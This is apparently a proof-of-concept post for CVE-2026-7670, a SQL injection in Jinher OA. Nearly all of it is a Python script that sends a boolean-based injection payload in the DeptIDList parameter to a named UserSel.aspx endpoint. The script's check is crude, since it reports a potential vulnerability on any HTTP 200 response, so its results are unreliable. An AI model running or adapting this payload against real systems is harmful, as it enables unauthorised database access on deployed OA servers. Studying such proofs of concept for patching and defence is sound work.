CVE-2026-7670 Jinher OA SQL注入漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-7670 - Jinher OA SQL Injection This script demonstrates checking the vulnerability via the DeptIDList parameter. """ import requests def check_sqli(url): # Vulnerable parameter and endpoint target_endpoint = "/C6/JHSoft.Web.PlanSummarize/UserSel.aspx" full_url = url + target_endpoint # Testing payload for boolean-based SQL injection # Payload assumes '1' is a valid ID, tries to verify '1=1' logic payload = { "DeptIDList": "1' AND 1=1-- -" } try: response = requests.get(full_url, params=payload, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response Length: {len(response.text)}") # In a real scenario, compare this with a '1=2' response if response.status_code == 200: print("[+] Potential SQL Injection vulnerability detected.") else: print("[-] Target did not respond as expected.") except requests.RequestException as e: print(f"Error connecting to target: {e}") if __name__ == "__main__": target = "http://target-ip" # Replace with actual target IP check_sqli(target)